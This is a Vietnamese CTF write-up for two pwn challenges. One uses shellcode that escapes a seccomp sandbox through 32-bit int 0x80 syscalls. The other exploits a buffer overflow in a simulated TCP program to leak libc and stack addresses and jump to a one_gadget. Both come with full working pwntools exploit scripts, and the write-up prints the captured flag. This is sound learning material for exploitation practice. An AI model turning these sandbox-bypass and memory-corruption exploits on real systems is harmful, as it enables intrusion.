# Wanna.W1n Recruit CTF
## escape
**Author: kur0**

Mở ida lên thì ta thấy ở đây là bài nhập shellcode và thực thi shellcode.


Ta thấy ở đây có sandbox và nên ta dùng seccomp dump để xem các lệnh bị cấm

Sau khi dump ra thì ta thấy chúng hầu hết ban hết các lệnh cơ bản có thể dùng để mở file flag

Kết hợp từ hint và sau khi kiếm các wu về các bài có sandbox thì em nhận ra sự khác biệt là: **if (A != ARCH_X86_64)**

Từ đây suy luận ra việc chúng ta không nhất thiết phải dùng kiến trúc 64bit (arch_x86_64) mà chúng ta có thể dùng kiến trúc 32bit (arch_x86) nên chúng ta tiến hành tạo shellcode và chạy thử.
Lưu ý khi tạo shellcode phải không chứa ký tự ```'\n'``` và ```NULL```
**Script:**
```python3=
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
def conn():
if args.LOCAL:
r = process('./escape')
# gdb.attach(r)
else:
r = remote("ctf.cnsc.com.vn", 32954)
return r
def main():
p = conn()
# gdb.attach(p)
shellcode = asm("""
xor rsi, rsi
mov esi, 0xbabe058
xor rax, rax
mov ax, 0xcafe
shl rax, 28
or rsi, rax
mov rsp, rsi
xor ecx, ecx
mov rcx, 0x67616c66
push rcx
mov ebx, esp
xor ecx, ecx
xor eax, eax
mov al, 5
int 0x80
xchg eax, ebx
mov ecx, esp
mov dl, 0x3f
inc edx
xor eax, eax
mov al, 3
int 0x80
mov edx, eax
mov ecx, esp
mov bl, 1
xor eax, eax
mov al, 4
int 0x80
""")
p.sendlineafter(b'Choose an option:', b'1')
p.sendlineafter(b'Send me your shellcode:', shellcode)
p.sendlineafter(b'option:', b'2')
p.interactive()
if __name__ == "__main__":
main()
```
Ban đầu em trỏ ```rsp``` vào 1 vùng nhớ có full quyền mà author đã ```mmap``` sẵn ```v6 = mmap((void *)0xCAFEBABE000LL, 0x1000uLL, 7, 34, 0, 0LL);``` để có thể ```push``` lên cho tiện. Nhưng nó không ra flag nên em debug thì có thấy rằng sau khi ```open``` thì thanh ghi ```rax = 0xfffffffffffffff2``` thì đây là lỗi ```bad address```

Từ đó em kiểm tra và nhớ lại rằng khi dùng cấu trúc 32bit thì các thanh ghi nó sử dụng cũng phải 32bit luôn vậy nên khi em trỏ ```rsp vào 0xCAFEBABE058``` thì thật ra khi ```int 0x80``` thì ```esp = 0xEBABE058```. Từ đó em nghĩ đến việc dùng ```mmap``` để tạo riêng 1 vùng chỉ sử dụng 32bit ```mmap((void *)0x12345678LL, 0x1111uLL, 7, 34, 0, 0LL);```
**Script hoàn chỉnh:**
```python3=
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
def conn():
if args.LOCAL:
r = process('./escape')
# gdb.attach(r)
else:
r = remote("ctf.cnsc.com.vn", 32954)
return r
def main():
p = conn()
# gdb.attach(p)
shellcode = asm("""
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor rsi, rsi
xor rdi, rdi
xor r15, r15
xor r14, r14
xor r13, r13
xor r12, r12
xor r11, r11
xor r10, r10
xor r9, r9
xor r8, r8
mov edi, 0x12345678
mov si, 0x1111
mov dl, 0x7
xor r9, r9
mov r10b, 0x22
mov al, 9
syscall
mov esi, 0x12346789
mov esp, esi
xor ecx, ecx
mov r10, 0xffffff989e9399d0
xor r10, 0xffffffffffffffff
push r10
xor r10, r10
mov ebx, esp
xor ecx, ecx
xor eax, eax
mov al, 5
int 0x80
xchg eax, ebx
mov ecx, esp
mov dl, 0x3f
inc edx
xor eax, eax
mov al, 3
int 0x80
mov edx, eax
mov ecx, esp
mov bl, 1
xor eax, eax
mov al, 4
int 0x80
""")
p.sendlineafter(b'Choose an option:', b'1')
p.sendlineafter(b'Send me your shellcode:', shellcode)
# input()
p.sendlineafter(b'option:', b'2')
p.interactive()
if __name__ == "__main__":
main()
```

**Flag: W1{Esc4p3_5ecc0mp_was_3a5y!!!_fjJbKwkmHX}**
## Take control, pwner!
**Author: an3ii11**

<details>
<summary>Nhấn vào đây để xem code C</summary>
```clike=
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// https://www.geeksforgeeks.org/tcp-ip-packet-format/
typedef struct {
uint16_t source_port;
uint16_t destination_port;
uint32_t sequence_number;
uint32_t acknowledgement_number;
uint16_t offset_flags;
uint16_t congestion_window;
uint16_t checksum;
uint16_t urgent_pointer;
} tcp_header;
typedef struct {
tcp_header header;
char data[0x400];
} tcp_packet;
enum control_flag {
FIN = 0x00000001,
SYN = 0x00000002,
RST = 0x00000004,
PSH = 0x00000008,
ACK = 0x00000010,
URG = 0x00000020,
};
uint16_t client_port;
uint16_t server_port;
int pipe_fd1[2];
int pipe_fd2[2];
int curr_SEQ;
int curr_ACK;
void init() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
}
uint16_t offset(int offs) { return offs << 12; }
uint16_t carry_around_add(uint16_t a, uint16_t b) {
int c = a + b;
return (c & 0xffff) + (c >> 16);
}
uint16_t calculate_checksum(tcp_packet *packet) {
uint16_t old_checksum = packet->header.checksum;
packet->header.checksum = 0;
const char *as_char = (char *)packet;
uint16_t res = 0;
for (int i = 0; i < sizeof(tcp_packet); i += 2) {
res = carry_around_add(res, *(uint16_t *)as_char);
}
packet->header.checksum = old_checksum;
return ~res;
}
int client_send(char *data, int nbytes) {
return write(pipe_fd1[1], &nbytes, 4) > 0 &&
write(pipe_fd1[1], data, nbytes) > 0;
}
int client_recv(char *buf) {
int nbytes = 0;
int res =
read(pipe_fd2[0], &nbytes, 4) > 0 && read(pipe_fd2[0], buf, nbytes) > 0;
return ((tcp_packet *)buf)->header.checksum ==
calculate_checksum((tcp_packet *)buf) &&
res;
}
int server_send(char *data, int nbytes) {
return write(pipe_fd2[1], &nbytes, 4) > 0 &&
write(pipe_fd2[1], data, nbytes) > 0;
}
int server_recv(char *buf, int *size) {
int nbytes = 0;
int res = read(pipe_fd1[0], &nbytes, 4) > 0 &&
read(pipe_fd1[0], buf, nbytes) > 0 && (*size = nbytes);
return ((tcp_packet *)buf)->header.checksum ==
calculate_checksum((tcp_packet *)buf) &&
res;
}
void client() {
char raw_data[0x800];
char received_data[0x800];
tcp_packet syn_packet = {
client_port, server_port, 0, -1, offset(0x20) | SYN, 0x400, 0, 0,
};
syn_packet.header.checksum = calculate_checksum(&syn_packet);
tcp_packet data_packet1 = {
client_port, server_port, 1, 1, offset(0x20) | ACK, 0x400, 0,
};
tcp_packet fin_packet = {
client_port, server_port, 1, 1, offset(0x20) | FIN, 0x400, 0,
};
tcp_packet data_packet2 = {
client_port, server_port, 1, 1, offset(0x20) | ACK, 0x400, 0,
};
int nbytes = 0;
puts("[+ CLIENT] Developing connection.");
puts("[+ CLIENT] Requesting connection from server.");
if (!client_send((char *)&syn_packet, sizeof(tcp_header))) {
puts("[+ CLIENT] Developing connection failed.");
exit(-1);
}
puts("[+ CLIENT] Waiting for SYNACK from server");
if (client_recv(received_data) &&
((tcp_packet *)received_data)->header.offset_flags & (SYN | ACK)) {
puts("[+ CLIENT] Received SYNACK from server. Connection successfully "
"developed.");
} else {
puts("[+ CLIENT] Failed developing connection.");
exit(-1);
}
printf("Enter data: ");
nbytes = read(STDIN_FILENO, raw_data, 0x800);
printf("[+ CLIENT] Sending data: %s\n", raw_data);
if (nbytes <= 0x400) {
memcpy(data_packet1.data, raw_data, nbytes);
puts("[+ CLIENT] Calculating checksum.");
data_packet1.header.checksum = calculate_checksum(&data_packet1);
puts("[+ CLIENT] Sending data to server.");
if (!client_send((char *)&data_packet1, nbytes + sizeof(tcp_header))) {
puts("[+ CLIENT] Failed sending data to server.");
exit(-1);
}
puts("[+ CLIENT] Sending data succeeds.");
} else {
puts("[+ CLIENT] Data length is larger than congestion window. Seperating "
"into 2 packets.");
memcpy(data_packet1.data, raw_data, 0x400);
memcpy(data_packet2.data, raw_data + 0x400, nbytes - 0x400);
puts("[+ CLIENT] Calculating checksum.");
data_packet1.header.checksum = calculate_checksum(&data_packet1);
data_packet2.header.checksum = calculate_checksum(&data_packet2);
data_packet2.header.sequence_number = 0x400;
char *tmp = malloc(sizeof(tcp_packet) * 2);
memcpy(tmp, &data_packet1, sizeof(tcp_packet));
memcpy(tmp + sizeof(tcp_packet), &data_packet2,
sizeof(tcp_header) + nbytes - 0x400);
puts("[+ CLIENT] Sending data to server.");
if (!client_send(tmp, nbytes + sizeof(tcp_header) * 2)) {
puts("[+ CLIENT] Failed sending data to server.");
exit(-1);
}
puts("[+ CLIENT] Sending data succeeds.");
free(tmp);
}
puts("[+ CLIENT] Waiting response from server");
if (client_recv(received_data) &&
((tcp_packet *)received_data)->header.offset_flags & ACK)
puts("[+ CLIENT] Received ACK from server. Data sent successfully.");
else {
puts("[+ CLIENT] Did not receive ACK from server. Internal server error.");
exit(-1);
}
}
void server() {
char *tmp = malloc(0x1000);
char received_data[0x800 + sizeof(tcp_header)];
int nbytes;
int received_len = 0;
tcp_packet fin_packet = {
client_port, server_port, 1, 1, offset(0x20) | FIN, 0x400, 0,
};
tcp_packet syn_ack_packet = {
client_port, server_port, 1, 1, offset(0x20) | SYN | ACK, 0x400, 0,
};
syn_ack_packet.header.checksum = calculate_checksum(&syn_ack_packet);
tcp_packet ack_packet = {
client_port, server_port, 1, 1, offset(0x20) | ACK, 0x400, 0,
};
puts("[+ SERVER] Waiting for SYN packet from client.");
if (!server_recv(received_data, &nbytes) ||
(((tcp_packet *)received_data)->header.offset_flags & SYN) == 0) {
puts("[+ SERVER] Did not receive SYN packet from client. Failed developing "
"connection.");
exit(-1);
}
puts("[+ SERVER] Received SYN packet from client. Sending back SYNACK "
"packet.");
if (!server_send((char *)&syn_ack_packet, sizeof(tcp_header))) {
puts("[+ SERVER] Failed sending SYNACK to client");
exit(-1);
}
puts("[+ SERVER] Sending SYNACK packet succeeds.");
puts("[+ SERVER] Waiting for ACK packet from client.");
if (!server_recv(received_data, &nbytes) ||
(((tcp_packet *)received_data)->header.offset_flags & ACK) == 1) {
puts("[+ SERVER] Did not receive ACK from client.");
exit(-1);
}
puts("[+ SERVER] Received ACK from client");
if (nbytes < sizeof(tcp_packet)) {
memcpy(tmp, ((tcp_packet *)received_data)->data,
nbytes - sizeof(tcp_header));
ack_packet.header.acknowledgement_number = nbytes - sizeof(tcp_header);
} else {
memcpy(tmp, ((tcp_packet *)received_data)->data, 0x400);
memcpy(tmp + sizeof(tcp_packet),
((tcp_packet *)(received_data + sizeof(tcp_packet)))->data,
nbytes - 0x400 - sizeof(tcp_header) * 2);
ack_packet.header.acknowledgement_number =
nbytes - sizeof(tcp_header) * 2 - 0x400;
}
ack_packet.header.checksum = calculate_checksum(&ack_packet);
printf("[+ SERVER] Data received: %s", tmp);
puts("[+ SERVER] Sending back ACK to client");
if (!server_send((char *)&ack_packet, sizeof(tcp_header))) {
puts("[+ SERVER] Failed sending ACK to client");
exit(-1);
}
}
void start_routine() {
if (pipe(pipe_fd1) == -1 || pipe(pipe_fd2) == -1) {
perror("Error creating pipe. Exiting");
exit(-1);
}
pid_t pid = fork();
if (fork < 0) {
perror("Error forking process. Exiting");
exit(-1);
}
if (pid > 0) {
while (1) {
client();
char c;
printf("Continue? [y/n]\n");
c = getchar();
getchar();
if (c == 'n') {
kill(pid, 9);
break;
}
}
} else
while (1)
server();
}
int main(int argc, char *argv[]) {
init();
puts("This is a super simplified TCP transport protocol simulation.");
printf("Enter client port: ");
scanf("%hd", &client_port);
printf("Enter server port: ");
scanf("%hd", &server_port);
getchar();
start_routine();
return EXIT_SUCCESS;
}
```
</details>
Đầu tiên ta thấy đây là 1 chương trình khá dài, tóm gọn chương trình đang mô phỏng 1 phiên làm việc của TCP
Phân tích hàm ```server()``` và ```client()```
Ở đây ta thấy được ```server_recv``` 2 TCP packet có độ lớn là: ```0x400 + 0x14```

Nhưng recveived_data chỉ được khai báo ```0x800 + sizeof(tcp_header)``` tức ```0x800 + 0x14```. Vậy từ đó có thể ghi đè qua ```tmp```

Ở đây ta thấy ta có thể tận dụng ```printf``` để leak ra data mà ta cần vì printf sẽ in đến khi nào gặp được ```\0```

Sau 1 hồi debug và spam linh tinh thì em leak được stack, libc từ đó kết hợp cùng với one_gadget

Nhờ việc ghi đè được lên ```tmp``` ta tận dụng memcpy để chuyển hướng return_address (tính được khi leak được stack) -> one_gadget
**Script:***
```python3=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./take_control_pwner")
# libc = ELF("./libc.so.6", checksec=False)
# ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
context.binary = exe
# context.log_level = 'debug'
def conn():
if args.LOCAL:
r = process([exe.path])
else:
r = remote("addr", 1337)
return r
def main():
p = conn()
sc = '''
set follow-fork-mode parent
b* client+629
c
'''
sc = '''
set follow-fork-mode child
'''
# gdb.attach(p, gdbscript = sc)
def leaking():
data = p.recvline()[:-1]
something = u64(data.ljust(8, b'\x00'))
return something
p.sendlineafter(b'Enter client port: ', b'1337')
p.sendlineafter(b'Enter server port: ', b'1337')
payload = 0x38 * b'A'
# payload = 0x8 * b'A'
# payload = b'hnnef'
p.sendafter(b'Enter data:', payload)
# p.sendlineafter(b'Continue? [y/n]', b'y')
# p.sendafter(b'Enter data:', payload)
p.recvuntil(b'[+ CLIENT] Sending data: ' + payload)
something = leaking()
# print(hex(something))
libc_base = something - 0x11c574
one_gadget = libc_base + 0xebd43
xor_rax = libc_base + 0x00000000000baaf9
log.info(f"libc_base: {hex(libc_base)}")
log.info(f"one_gadget: {hex(one_gadget)}")
log.info(f"xor_rax: {hex(xor_rax)}")
p.sendlineafter(b'Continue? [y/n]', b'y')
payload = 0x738 * b'A'
p.sendafter(b'Enter data:', payload)
p.recvuntil(b'[+ CLIENT] Sending data: ' + payload)
stack = leaking()
ret_addr = stack - 0x8
log.info(f"stack: {hex(stack)}")
log.info(f"ret_addr: {hex(ret_addr)}")
p.sendlineafter(b'Continue? [y/n]', b'y')
new_rbp = stack - 0x5000
log.info(f"new_rbp: {hex(new_rbp)}")
payload = flat(
p64(xor_rax),
p64(one_gadget),
p64(0) * 252,
p64(ret_addr)
)
p.sendafter(b'Enter data:', payload)
p.interactive()
if __name__ == "__main__":
main()
```